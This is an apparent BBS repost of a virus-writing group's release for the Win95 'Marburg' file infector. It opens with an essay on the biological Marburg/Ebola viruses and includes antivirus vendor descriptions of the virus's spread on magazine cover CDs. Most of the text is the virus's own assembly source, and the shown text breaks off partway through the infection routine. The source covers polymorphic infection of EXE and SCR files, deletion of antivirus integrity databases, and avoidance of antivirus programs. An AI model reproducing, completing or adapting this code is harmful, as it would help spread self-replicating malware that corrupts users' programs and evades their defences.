·¢ÐÅÈË: asmhome()
ÕûÀíÈË: emil(1999-08-25 22:36:55), Õ¾ÄÚÐżþ
|
Ë®ÖÐÔÂ
http://asmhome.yeah.net
Marburg virus - BioCoded by GriYo / 29A
---------------------------------------
Index:
------
1 - About the biological version
2 - Author's description
3 - Description from Datafellows
4 - Description from AVP
5 - Description from DrSolomon
6 - Marburg source code
1 - About the biological version
--------------------------------
1967: Marburg/Frankfurt, Germany.
Laboratory workers preparing primary cell cultures from African
green monkeys resulted in an outbreak of a previously unrecognised di sease.
Highly infectious: 31 cases, 7 deaths.
1976:
Outbreak of a previously unrecognised haemorrhagic fever in Zaire
and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths.
Ebola virus, a member of the Filoviridae, burst from obscurity with
spectacular outbreaks of severe, haemorrhagic fever. It was first
associated with an outbreak of 318 cases and a case-fatality rate o f 90%
in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller out breaks
continue to appear periodically, particularly in East, Central and so uthern
Africa. In 1989, a haemorrhagic disease was recognized among cyno molgus
macaques imported into the United States from the Philippines. Stra ins of
Ebola virus were isolated from these monkeys. Serologic studies i n the
Philippines and elsewhere in Southeast Asia indicated that Ebola viru s is a
prevalent cause of infection among macaques.
These threadlike polymorphic viruses are highly variable in length
apparently owing to concatemerization. However, the average length of an
infectious virion appears to be 920 nm. The virions are 80 nm in di ameter
with a helical nucleocapsid, a membrane made of 10 nm projections , and
host cell membrane. They contain a unique single-stranded molecu le of
noninfectious (negative sense) RNA. The virus is composed of 7
polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other
undesignated proteins. Proteins are produced from polyaden ylated
monocistronic mRNA species transcribed from virus RNA. The replicat ion in
and destruction of the host cell is rapid and produces a large num ber of
viruses budding from the cell membrane.
Epidemics have resulted from person to person transmission, noso comial
spread or laboratory infections. The mode of primary infection an d the
natural ecology of these viruses are unknown. Association with bat s has
been implicated directly in at least 2 episodes when individuals e ntered
the same bat-filled cave in Eastern Kenya. Ebola infections in Su dan in
1976 and 1979 occurred in workers of a cotton factory containing tho usands
of bats in the roof. However, in all instances, study of antibody in bats
failed to detect evidence of infection, and no virus was isolated fr om bat
tissue.
The index case in 1976 was never identified, but this large ou tbreak
resulted in 280 deaths of 318 infections. The outbreak was primari ly the
result of person to person spread and transmission by contaminated n eedles
in outpatient and inpatient departments of a hospital and subs equent
person to person spread in surrounding villages. In serosurveys in Zaire,
antibody prevalence to Ebola virus has been 3 to 7%. The incubation period
for needle-transmitted Ebola virus is 5 to 7 days and that for per son to
person transmitted disease is 6 to 12 days.
The virus spreads through the blood and is replicated in many o rgans.
The histopathologic change is focal necrosis in these organs, inc luding
the liver, lymphatic organs, kidneys, ovaries and testes. The c entral
lesions appear to be those affecting the vascular endotheli um and
the platelets. The resulting manifestations are bleeding, especia lly in
the mucosa, abdomen, pericardium and vagina. Capillary leakage appea rs to
lead to loss of intravascular volume, bleeding, shock and the acute
respiratory disorder seen in fatal cases. Patients die of intractable shock.
Those with severe illness often have sustained high fevers an d are
delirious, combative and difficult to control.
The serologic method used in the discovery of Ebola was the direct
immunofluorescent assay. The test is performed on a monolayer of in fected
and uninfected cells fixed on a microscopic slide. IgG- or IgM-sp ecific
immunoglobulin assays are performed. These tests may then be con firmed
by using western blot or radioimmunoprecipitation. Virus isolation i s also
a highly useful diagnostic method, and is performed on suitably pre served
serum, blood or tissue specimens stored at -70oC or freshly collected.
No specific antiviral therapy presently exists against Ebola virus, no r does
interferon have any effect. Past recommendations for isolation of the
patient in a plastic isolator have given way to the more mo derate
recommendation of strict barrier isolation with body fluid precau tions.
This presents no excess risk to the hospital personnel and allows
substantially better patient care, as shown in Table 2. The major fac tor in
nosocomial transmission is the combination of the unawareness of the
possibility of the disease by a worker who is also inattentive to the
requirements of effective barrier nursing. after diagnosis, the r isk of
nosocomial transmission is small.
The basic method of prevention and control is the interruption of per son to
person spread of the virus. However, in rural areas, this may be dif ficult
because families are often reluctant to admit members to the ho spital
because of limited resources and the culturally unacceptable sepa ration
of sick or dying patients from the care of their family. Expe rience
with human disease and primate infection suggests that a vaccine indu cing a
strong cell-mediated response will be necessary for virus clearan ce and
adequate protection. Neutralizing antibodies are not observ ed in
convalescent patients nor do they occur in primates inoculated with killed
vaccine. A vaccine expressing the glycoprotein in vaccinia is being
prepared for laboratory evaluation.
Emerging & Re-emerging Viruses: An Essay
Alison Ja cobson
Department of Microb iology
University of Cap e Town
2 - Author's description
------------------------
Marburg is a direct action Win32 executable files infector. Lets
look at its features in more detail...
2.1. Infection
When an infected file is run the virus will look for *.EXE and *.SCR
files in current directory, as well as WINDOWS and WINDOWS system
directories. Marburg use size padding to mark infected files. Depend ing on
the internal format of each file the virus sometimes infects them w ithout
modifying the entry-point field in the file header. In some files M arburg
overwrites the code at its host entry-point with a block or polym orphic
code. This code is used to hide the branch to viral code. Marburg i nfects
files by mapping them in memory. This allows the virus to speed up its
infection procedures.
2.2. Polymorphism
The virus is encrypted under a polymorphic decryptor. The
polymorphic engine uses slow mutation technics and can generate l ots of
different looking code.
2.3. Retro
Some intergrity checksum files deleted on infection.
2.4. Error-handling
The virus startup and infection routines uses estructured exception
handling to prevent the virus from causing FAULTS at any time. This makes
Marburg a very stable virus.
2.5. Payload
A nice graphic payload inside... I think this is a must for viruses
that works under GUI.
3 - Description from Datafellows
--------------------------------
NAME: Marburg
TYPE: Non-resident EXE -files
The Win95/Marburg virus got widespread circulation in August 1998,
when it was included on the master CD of the popular MGM/EA PC CD-ROM game
"Wargames". The CD contains one file infected by the Marburg virus:
\EREG\EREG32.EXE
MGM - the publisher of the game - made an announcment on this on
12th of August, 1998:
--------
From: "K.Egan (MGM)" [email protected]
Subject: MGM WarGames Statement
Date: Wed, 12 Aug 1998 18:03:39 -0700
MGM Interactive recently learned that its WarGames PC game shipped
with the Win32/Marburg.a virus contained in the electronic
registration program. The company is working as fast as it can to
resolve the problem.
...
MGM Interactive is committed to delivering top quality products to
consumers. This is an unfortunate circumstance and we sincerely
apologize for any convenience this has caused you.
...
If you have any questions or if you would like to receive a
replacement disc, please contact MGM Interactive.
--------
The same virus also got widespread circulation in August 1998, when it was
included on the cover CD of the Australian "PC Power Play" magazine. T his CD
contains these files infected by the Marburg virus:
\GAMES\MAX2\MAX2BETA.EXE
\GAMES\STARTREK\FURYDEMO.EXE
In July 1998, the Win95/Marburg virus got yet again widespread circu lation
when it was included by accident on the cover CD of the UK-based PC Gamer
Magazine's July 1998 edition. The infected files are on "CD Ga mer 2"
included with the magazine, and are called:
\UTILS\XEARTH\XEARTH.EXE
\UTILS\QPAINT\QPAINT.EXE
\VIDEO\SMACKPLW.EXE
The SMACKPLW program is automatically executed if you watch any of the
preview videos from the CD. There are localized versions of the PC Gamer
magazine in circulation in addition to the UK edition.
The Swedish edition has these files infected instead of the ones listed
above:
\SHARE\3DJONG\M3DJONGG.EXE
\PATCHAR\QUAKE2\Q2-315~8.EXE
\SPEL\KKND2\DIRECTX\DDHELP.EXE
The Slovenian edition has the same infected files as the UK edition . The
Italian July/August edition is clean.
Marburg is a polymorphic Windows 95/98 virus which contains this text:
[ Marburg ViRuS BioCoded by GriYo/29A ]
Marburg infects Win32 EXE and SCR (screen saver) files, encrypting i ts own
code with variable polymorphic encryption layer. The polymorphic eng ine of
the virus is advanced. It encrypts the virus with 8, 16 and 32 bit ke y with
several different methods. The virus uses slow polymorphisism, which means
that it changes the decryptor of itself very slowly.
Marburg deletes integrity databases of several anti-virus products. I t also
avoids infecting many known anti-virus product executable files, inc luding
any executable which has the letter "V" in its name. This is done to avoid
triggering the self-check of these programs.
Marburg activates three months after initial infection. If an in fected
application is executed exactly on the same hour as the inital infe ction,
the virus displays the standard Windows error icon (red cross in white
circle) in random positions all over the screen.
4 - Description from AVP
------------------------
This is a direct action (nonmemory resident) Windows95 polymorphic
virus. It affects PE EXE (Portable Executable) files which it searc hes in
current, Windows and System directories. Because of bugs the virus is not
able to replicate under Windows NT, so it is Windows95 specific virus.
When an infected file is executed, the virus searches for KERNEL32 rou tines:
first for GetModuleHandleA and GetProcAddress, then for 22 more fun ctions
(see the list below). While searching the virus uses method simi lar to
"Win32.Cabanas" virus: while infecting a file the virus scans file's
imported table for GetModuleHandleA and GetProcAddress, and saves these
addresses in virus code. If there are no these entries in table, the virus
scans KERNEL32 code.
If the virus is not able to locate KERNEL32 functions, it immed iately
returns to the host file. Otherwise it allocates a block of system m emory,
copies its code to there (that's necessary to run virus polymorphic en gine),
then searches for files and infects them.
While infecting a file the virus writes its code to the end of file in to the
last section, increasing its length beforehand. Before saving its c ode to
the file the virus encrypts it by polymorphic routine (the polym orphic
engine is very similar with one that was found in "Win95.HPS" v irus).
Depending on file structure the virus also does some tricks to make virus
detection and disinfection procedures more complex: either replaces entry
point address in the PE header with its own one (majority of Win32 v iruses
infect files in this way), or saves JMP_Virus instruction to the file entry
address and does not modifies it in the PE header (in same way as
"Win32.Cabanas" virus does), or writes to the entry point a polym orphic
junk routine that is followed by JMP_Virus instruction.
Before infecting the virus deletes anti-virus data files: ANTI-VI R.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names
and does not infect files that have 'V' letter in name as w ell as
anti-viruses PANDA, F-PROT, SCAN.
Depending on the system date (when infected file is executed in three month
during the same hour as being infected) the virus displays at random
selected positions on the screen the standard Windows error icon - red cross
in white circle.
The virus contains the text strings (the first block contains the l ist of
functions that virus is looking for):
GetModuleHandleA
GetProcAddress
CreateFileA
CreateFileMappingA
MapViewOfFile
UnmapViewOfFile
CloseHandle
FindFirstFileA
FindNextFileA
FindClose
VirtualAlloc
GetWindowsDirectoryA
GetSystemDirectoryA
GetCurrentDirectoryA
SetFileAttributesA
SetFileTime
DeleteFileA
GetCurrentProcess
WriteProcessMemory
LoadLibraryA
GetSystemTime
GetDC
LoadIconA
DrawIcon
[ Marburg ViRuS BioCoded by GriYo/29A ]
KERNEL32.dll USER32.dll
5 - Description from DrSolomon
------------------------------
Win32/Marburg
Polymorphic virus
Infects: Windows-95 executable files
(PE files - "Portable Executable")
This highly polymorphic virus infects Windows-95 executable files
(PE files - "Portable Executable"). When the infected file is r un it
searches for executable files to infect in the current director y, the
Windows directory and the System directory. The virus does n ot go
memory-resident - instead it is a direct action virus. The infected files
always grow in size.
The sizes of infected files are changed by the the virus to be divisi ble by
101 (decimal). It does this to avoid infecting the same file twice.
If the virus comes across integrity-checking databases (ANTI-VI R.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectori es it
deletes them. This is an attempt to avoid detection by certain anti -virus
products.
The virus does not infect any files having letter "V" in the name,
"PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting c ertain
anti-virus programs).
The payload of the virus triggers at a random date and displays an error
icon (a red cross on white circle) on the screen.
Marburg has been seen in the wild, and was accidentally distributed on the
cover CD ROM of UK magazine PC Gamer in July 1998. The virus was writ ten by
Griyo of the Spanish virus-writing gang 29A.
6 - Marburg source code
-----------------------
After some time lost into Win32 internals im happy to present my
first attempt at this plattaform. This is a Win95 highly polymorphic d irect-
action PE infector.
Greetings to all the people at IRC-Hispano #virus and #hack irc cha nnels.
Special greetings goes this time to Jacky Qwerty, this virus woul dnt be
posible without his support.
-------->8 cut here -------------------------------------------------- -------
;······································································ ······
;
; Marburg ViRuS - BioCoded by GriYo / 29A
;
;······································································ ······
.386P
locals
jumps
.model flat,STDCALL
;Include the following files
include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc
;Some externals only used on 1st generation
extrn GetModuleHandleA:NEAR
extrn GetProcAddress:NEAR
extrn ExitProcess:NEAR
;Some assumptions only valid for 1st generation
mem_size equ mem_end-Mem_Base ;Size of virus in memo ry
inf_size equ inf_end-Mem_Base ;Size of virus in file s
init_size equ init_end-Mem_Base ;Size of init code
base_default equ 00400000h ;Default base address
;Current in-build settings
SIZE_PADDING equ 00000065h
DECRYPTOR_SIZE equ 00000800h
BUFFER_EP equ 00000100h
;······································································ ······
;Fake host used for virus 1st generation
;······································································ ······
_TEXT segment dword use32 public 'CODE'
host_entry: ;This code will find the base address of KERNEL32.DLL and
;the entry point for GetProcAddress and GetModuleHandl e
;functions
;This part will not be included on future infections
;coz its only needed for virus 1st generation
;Get KERNEL32 module handle
push offset szKernel32
call GetModuleHandleA
or eax,eax
jz exit1st_gen
mov dword ptr [a_Kernel32],eax
;Get address of GetModuleHandle function
push offset szGetModuleH
push eax
call GetProcAddress
or eax,eax
jz exit1st_gen
mov dword ptr [a_GetModuleH],eax
;Get address of GetProcAddress function
push offset szGetProcAddr
push dword ptr [a_Kernel32]
call GetProcAddress
or eax,eax
jz exit1st_gen
mov dword ptr [a_GetProcAddr],eax
;Execute virus
mov ebx,base_default
xor ebp,ebp
call entry1st_gen
exit1st_gen: ;Terminate virus launch process
xor eax,eax
push eax
call ExitProcess
_TEXT ends
;······································································ ······
_DATA segment dword use32 public 'DATA'
_DATA ends
;······································································ ······
_BSS segment dword use32 public 'BSS'
_BSS ends
;······································································ ······
;Virus main body
;······································································ ······
virseg segment dword use32 public 'Marburg'
Mem_Base equ this byte
virus_entry: ;Get delta offset and host base address
call get_delta
init_end equ this byte
get_delta: pop ebp
mov ebx,ebp
sub ebp,offset get_delta
;Get host base address
;Generate a SUB ebx,fix_baseaddr instruction
db 81h,0EBh
fix_baseaddr dd 00000000h
;Prepare return address
mov eax,ebx
;Generate ADD eax,rva_org_eip
db 05h
rva_org_eip dd 00000000h
;Save host entry-point into stack, we will jump there
;later using a RET
push eax
entry1st_gen: ;End of virus initialization, at this point:
;
; ss:[esp] - Host entry-point
; ebx - Base address
; ebp - Delta offset
;
;Check if we know the GetModuleHandle entry point
;If we dont know it try to get KERNEL32 base
;address using our own code
db 0B8h
rva_GetModuleH dd offset a_GetModuleH-base_default
or eax,eax
jz use_our_own_1
;Yes, eax is the rva for the function address
push dword ptr [eax+ebx]
pop dword ptr [ebp+a_GetModuleH]
;Now we know the address of GetModuleHandle,
;so use it in order to get KERNEL32.dll
;base address
;If the function fails try to get KERNEL32 base
;address using our own function
lea eax,dword ptr [ebp+szKernel32]
push eax
call dword ptr [ebp+a_GetModuleH]
or eax,eax
jnz got_kernel
use_our_own_1: ;No, grrr, try to get it by ourself
call my_getkernel
or eax,eax
jz err_virus_init
got_kernel: ;Save KERNEL32 base address for l8r use
mov dword ptr [ebp+a_Kernel32],eax
;Now check if we know the GetProcAddress entry point
db 0B8h
rva_GetProcAddr dd offset a_GetProcAddr-base_default
or eax,eax
jz use_our_own_2
;Yes, eax is the rva for the function address
push dword ptr [eax+ebx]
pop eax
jmp short got_getprocaddr
use_our_own_2: ;Use our own routine to get GetProcAddress entry point
call my_GetProcAddr
got_getprocaddr:;Save GetProcAddress entry point for l8r use
mov dword ptr [ebp+a_GetProcAddr],eax
;Use GetProcAddress to get the rest of function addres ses
call get_functions
jecxz err_virus_init
;Allocate some memory for the virus
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push mem_size+inf_size
push 00000000h
call dword ptr [ebp+a_VirtualAlloc]
;Exit if cant find free memory... mmm...
or eax,eax
jz err_virus_init
;Copy virus to allocated memory
lea esi,dword ptr [ebp+Mem_Base]
mov edi,eax
mov ecx,mem_size
cld
rep movsb
;Jump to virus code into allocated memory
add eax,mem_entry-Mem_Base
jmp eax
;······································································ ······
;Entry point for resident code
;······································································ ······
mem_entry: ;From this point we no longer care about host
;base address
call mem_delta
mem_delta: pop ebp
sub ebp,offset mem_delta
;Get current system time
lea eax,dword ptr [ebp+my_system_time]
push eax
call dword ptr [ebp+a_GetSysTime]
;It's time to call our payload routine????
mov ax,word ptr [ebp+inf_month]
add ax,0003h
mov dx,000Ch
cmp ax,dx
jbe check_month
sub ax,dx
check_month: cmp ax,word ptr [ebp+time_month]
jne viral_sleep
mov ax,word ptr [ebp+inf_day]
cmp ax,word ptr [ebp+time_day]
jne viral_sleep
call payload
viral_sleep: ;Do direct action stuff
;The virus will infect files on \WINDOWS, \SYSTEM and
;current directory
;Try to infect files in current directory
lea eax,dword ptr [ebp+szWorkDir]
push eax
push MAX_PATH
call dword ptr [ebp+a_GetCurDir]
or eax,eax
jz try_windir
call do_in_dir
try_windir: ;Get windows directory
push MAX_PATH
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_GetWindowsDir]
or eax,eax
jz try_sysdir
;Try to infect files in \WINDOWS directory
call do_in_dir
try_sysdir: ;Get system directory
push MAX_PATH
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_GetSystemDir]
or eax,eax
jz err_virus_init
;Try to infect files in \SYSTEM directory
call do_in_dir
err_virus_init: ;We have to restore code at host entry-point?
xor eax,eax
cmp dword ptr [ebp+insert_size],eax
je back2host
;Get current process
call dword ptr [ebp+a_GetCurProc]
;Restore host entry-point code
;Use WriteProcessMemory in order to prevent exceptions
;while writing to protected areas
pop edx
push edx
xor ecx,ecx
push ecx
push dword ptr [ebp+insert_size]
lea ecx,dword ptr [ebp+entry_code]
push ecx
push edx
push eax
call dword ptr [ebp+a_WriteProcMem]
back2host: ;Back to host
ret
;······································································ ······
;Infect *.EXE and *.SCR files in specified path
;······································································ ······
do_in_dir: ;The virus will not infect files in the root directory
;directory
;
;Entry:
;
;eax - path string size
;
;Exit:
;
;None
;
;Trying to infect files in root directory?
cmp eax,00000004h
jb file_not_found
;Delete some AV checksum databases
mov edx,eax
mov ecx,(end_AV_files-tbl_AV_files)/04h
lea esi,dword ptr [ebp+tbl_AV_files]
loop_del_AV: lodsd
push esi
add eax,ebp
mov esi,eax
call delete_file
pop esi
loop loop_del_AV
;Insert *.* into path
lea esi,dword ptr [ebp+szSearch]
call copy_szMask
;FindFirstFile
lea eax,dword ptr [ebp+my_FindData]
push eax
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_FindFirst]
cmp eax,INVALID_HANDLE_VALUE
je file_not_found
;Save the search handle
mov dword ptr [ebp+Search_h],eax
try_this_file: ;Check file size
xor eax,eax
cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax
jne cant_open
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING)
jae cant_open
;Check if file is already infected
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jz cant_open
;Add filename to path
cld
lea esi,dword ptr [ebp+szWorkDir]
mov edx,esi
do_path_1: lodsb
cmp al,"\"
jne avoid_path
mov edx,esi
avoid_path: or al,al
jne do_path_1
lea esi,dword ptr [ebp+my_FindData.WFD_szFileName]
mov edi,edx
do_path_2: lodsb
cmp al,"a"
jb char_is_ok
sub al,("a"-"A")
char_is_ok: cmp al,"V"
je cant_open
stosb
or al,al
jnz do_path_2
;The virus does not infect files with V character in t heir
;names as well as the following programs:
mov eax,dword ptr [edx]
;Panda antivirus
cmp eax,"DNAP"
je cant_open
;Datafellows F-Prot
cmp eax,"RP-F"
je cant_open
;McAfee Scan
cmp eax,"NACS"
je cant_open
;Check file extension, allow *.EXE and *.SRC files
mov eax,dword ptr [edi-00000005h]
cmp eax,"EXE."
je target_file
cmp eax,"RCS."
jne cant_open
target_file: ;Open and map file
call open_map_file
or eax,eax
jz cant_open
;Check if we can infect this file
call check_victim
jecxz bad_host
atach_2host: ;Infect file
call infect_file
jnc search_end
jmp short cant_open
bad_host: ;File cant be infected, skip it
call unmap_close
cant_open: ;Find next file
lea eax,dword ptr [ebp+my_FindData]
push eax
push dword ptr [ebp+Search_h]
call dword ptr [ebp+a_FindNext]
cmp eax,FALSE
jne try_this_file
search_end: ;Close Win32 find handle
push dword ptr [ebp+Search_h]
call dword ptr [ebp+a_FindClose]
file_not_found: ret
;······································································ ······
;Copy search mask into work path
;······································································ ······
copy_szMask: ;Entry:
;
;edx - Filename offset in path string
;esi - Search mask
;
;Exit:
;
;None
;
cld
lea edi,dword ptr [ebp+edx+szWorkDir]
mov al,"\"
stosb
loop_copy_name: lodsb
stosb
or al,al
jnz loop_copy_name
ret
;······································································ ······
;Delete file in work path
;······································································ ······
delete_file: ;Entry:
;
;edx - Filename offset in path string
;esi - File to delete
;
;Exit:
;
;None
;
;Add filename to path
push ecx
push edx
call copy_szMask
;Reset attributes so we can delete write protected fil es
push FILE_ATTRIBUTE_NORMAL
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_SetFileAttr]
;Delete file
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_DeleteFile]
pop edx
pop ecx
ret
;······································································ ······
;Check if a given file can be infected
;······································································ ······
check_victim: ;The host must be PE, fit allowed size and import at l east
;one function from Kernel32
;
;Entry:
;
;a_Kernel32 - Base address for kernel32
;eax - Base address for memory mapped file
;
;Exit:
;
;ecx - Null if error
;eax - Preserved
;
;Save host base address
push ebp
push eax
;Set structured exception handler
call SEH_SetFrame01
mov esp,dword ptr [esp+00000008h]
err_checkfile: xor ecx,ecx
jmp SEH_error01
SEH_SetFrame01: xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
;Search for Kernel32 Import Module Descriptor, abort
;infection if not found
mov ebx,eax
;ebx - Base address of host in memory
;Check for MZ signature at base address
cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne err_checkfile
;Check file address of relocation table
cmp word ptr [ebx+DH_lfarlc],0040h
jb err_checkfile
;Now go to the pe header and check for the PE signatur e
mov esi,dword ptr [ebx+DH_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne err_checkfile
;Check machine field in IMAGE_FILE_HEADER
;just allow i386 PE files
cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
jne err_checkfile
;Now check the characteristics, look if file
;is an executable
mov ax,word ptr [esi+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz err_checkfile
;Avoid DLL's
test ax,IMAGE_FILE_DLL
jnz err_checkfile
;Get pointer to imports raw data
mov edx,dword ptr [esi+OH_DataDirectory. \
DE_Import. \
DD_VirtualAddress+ \
IMAGE_SIZEOF_FILE_HEADER]
call RVA2RAW
jecxz err_checkfile
mov eax,ecx
next_imd_img: ;Search for kernel32 through the array of imported
;module descriptors
lea edi,dword ptr [ebp+offset szKernel32]
mov esi,dword ptr [eax+ID_Name]
;Exit if the RVA to dll name doesnt exist
or esi,esi
jz err_checkfile
;Sub the delta offset
sub esi,edx
;Get absolute address of dll name
add esi,ebx
;Compare names
mov ecx,00000008h
push eax
dll_loop: ;Get character from name into imports
lodsb
;Check if character is in lowercase
cmp al,"a"
jb check_char
;Convert character to uppercase
sub al,("a"-"A")
check_char: ;Compare characters with our KERNEL32 string
scasb
jne bad_dll
loop dll_loop
verify_ok: ;Name matched, get import module descriptor
pop edi
;Mutate RVAs
call mutate_rvas
;Avoid files with IMAGE_SCN_MEM_SHARED in its
;last section attributes
call get_last_sh
test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_ SHARED
jnz err_checkfile
;Set ecx != NULL (success flag)
xor ecx,ecx
not ecx
SEH_error01: ;Remove structured exception handler
xor edx,edx
pop dword ptr fs:[edx]
pop edx
;Error, restore base address
pop eax
pop ebp
ret
bad_dll: ;Go to next imported module descriptor
pop eax
add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp short next_imd_img
;······································································ ······
;Find the place where PE saves some useful information
;······································································ ······
mutate_rvas: ;Generate a copy of the virus into a buffer
;This copy will contain some RVAs already
;loaded (GetModuleHandle, GetProcAddress or Kernel32
;ID_ForwarderChain field)
;
;Entry:
;
;ebx - Base address for file
;edx - Section delta offset
;edi - Kernel32 Import Module Descriptor
;
;Exit:
;
;RVA's loaded into virus body (NULL if function not fo und)
;
;Copy virus to infection buffer
push edi
lea esi,dword ptr [ebp+Mem_Base]
lea edi,dword ptr [esi+mem_size]
mov ecx,inf_size-DECRYPTOR_SIZE
cld
rep movsb
pop edi
;Save rva to ID_ForwarderChain field
lea eax,dword ptr [edi+ID_ForwarderChain]
sub eax,ebx
add eax,edx
mov dword ptr [ebp+rva_kernel32+mem_size],eax
;Check if file is binded
mov eax,dword ptr [ebp+a_Kernel32]
mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew]
add esi,eax
add esi,NT_FileHeader.FH_TimeDateStamp
lodsd
mov esi,dword ptr [edi+ID_FirstThunk]
sub esi,edx
add esi,ebx
cmp eax,dword ptr [edi+ID_TimeDateStamp]
je binded_file
;esi - Import Address Table for KERNEL32
;Save RVA for GetModuleHandle
push esi
lea edi,dword ptr [ebp+szGetModuleH]
call find_by_name
mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
;Save RVA for GetProcAddress
pop esi
lea edi,dword ptr [ebp+szGetProcAddr]
call find_by_name
mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
ret
binded_file: ;esi - Import Address Table for KERNEL32
;Binded GetModuleHandle
push esi
mov edi,dword ptr [ebp+a_GetModuleH]
call find_by_address
mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
;Binded GetProcAddress
pop esi
mov edi,dword ptr [ebp+a_GetProcAddr]
call find_by_address
mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
ret
;······································································ ······
;Get RVA of an API function in a binded file
;······································································ ······
find_by_address:;
;Entry:
;
;edx - Delta offset for last section
;esi - Import Address Table for KERNEL32
;edi - Function entry point
;
;Exit:
;
;eax - RVA of function address (NULL if not found)
;
search_thunk: ;Check if this is the storage address
lodsd
or eax,eax
jz err_by_address
cmp eax,edi
jne search_thunk
;Calculate the offset of that thunk dword into file
lea eax,dword ptr [esi-00000004h]
sub eax,ebx
add eax,edx
ret
err_by_address: xor eax,eax
ret
;······································································ ······
;Find RVA of a function imported by name
;······································································ ······
find_by_name: ;
;Entry:
;
;edx - Delta offset for last section
;esi - Import Address Table for KERNEL32
;edi - Function name
;
;Exit:
;
;eax - RVA of function address (NULL if not found)
;
;Search for function name into IMAGE_IMPORT_BY_NAME
;structure pointed by every dword in the thunk data ar ray
loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure
lodsd
or eax,eax
jz err_by_name
;Get pointer to function name
push esi
push edi
sub eax,edx
lea esi,dword ptr [eax+ebx+00000002h]
;Compare strings
name_by_name: lodsb
or al,al
jz ok_by_name
scasb
je name_by_name
;Go to next entry into Import Address Table
pop edi
pop esi
jmp loop_by_name
ok_by_name: pop edi
pop esi
lea eax,dword ptr [esi-00000004h]
sub eax,ebx
add eax,edx
err_by_name: ret
;······································································ ······
;Infection and mutation
;······································································ ······
infect_file: ;
;Entry:
;
;My_FindData - Win32 FindFile structure filled with da ta
; about file to infect
;eax - Base address of memory mapped image
;
;Exit:
;
;None
;
;Get last section header
mov ebx,eax
call get_last_sh
;ebx - Host base address
;esi - IMAGE_OPTIONAL_HEADER
;edi - Pointer to last section header
;This will help us later for calculating host base add ress
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
add eax,dword ptr [edi+SH_VirtualAddress]
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,init_size
mov dword ptr [ebp+fix_baseaddr+mem_size],eax
;Copy original code at entry point into our buffer
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
mov dword ptr [ebp+rva_org_eip+mem_size],edx
call RVA2RAW
mov esi,ecx
lea edi,dword ptr [ebp+entry_code+mem_size]
mov ecx,BUFFER_EP
rep movsb
;Free memory mapped file
mov eax,ebx
call unmap_close
;Add virus size to file size and re-map it
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
mov dword ptr [ebp+original_size],eax
add eax,inf_size
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax
call open_map_file
or eax,eax
jnz done_re_open
stc
ret
done_re_open: ;ebx - host base address all along the following code
mov ebx,eax
;Initialize poly engine register table
;We are going to insert some garbage code at host
;entry-point, followed by a JMP to polymorphic
;decryptor
;This routine will also initialize random number
;generator
call init_poly
;Check for relocations over entry-point code
call get_last_sh
mov edx,dword ptr [esi+OH_DataDirectory. \
DE_BaseReloc. \
DD_VirtualAddress]
;Lovely file, no relocations, so we cant generate
;lots of polymorphic code at host entry-point
or edx,edx
jz lovely_file
call RVA2RAW
mov edi,esi
mov esi,ecx
;ebx - Host base address
;ecx - Pointer to RAW data or NULL if error
;edx - Section delta offset
;esi - Pointer to section RAWDATA
;edi - Pointer to IMAGE_OPTIONAL_HEADER
;Check relocations over host entry-point code
call do_reloc_work
;We have space for inserting some garbage code?
cmp eax,00000005h
jb fuxoring_file
;Another lovely file, eh?
cmp eax,BUFFER_EP
jb ugly_file
lovely_file: ;We reach this code for 3 posible reasons:
;
; 1) When the target file have no relocations or...
; 2) All the relocations are behind the entry-point or ...
; 3) We have lots space from entry-point to 1st reloc
;Save number of bytes to restore at host entry-point
mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP
;Get RAW of entry-point
call get_last_sh
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
call RVA2RAW
mov edi,ecx
;Generate a piece of polymorphic code at host entry-po int
push ebx
push edi
call gen_garbage
pop eax
sub eax,edi
pop ebx
;Insert a jump to virus code at entry point
jmp short insert_jump
ugly_file: ;There are no relocations over first five bytes of
;code at host entry-point
;So we can insert a JUMP to virus polymorphic decrypto r
;Save size of code to generate
mov dword ptr [ebp+insert_size+mem_size],00000005h
;Where to place the JUMP
mov edx,dword ptr [edi+OH_AddressOfEntryPoint]
call RVA2RAW
mov edi,ecx
xor eax,eax
;Insert a jump to virus code at entry point
insert_jump: push eax
mov al,0E9h
stosb
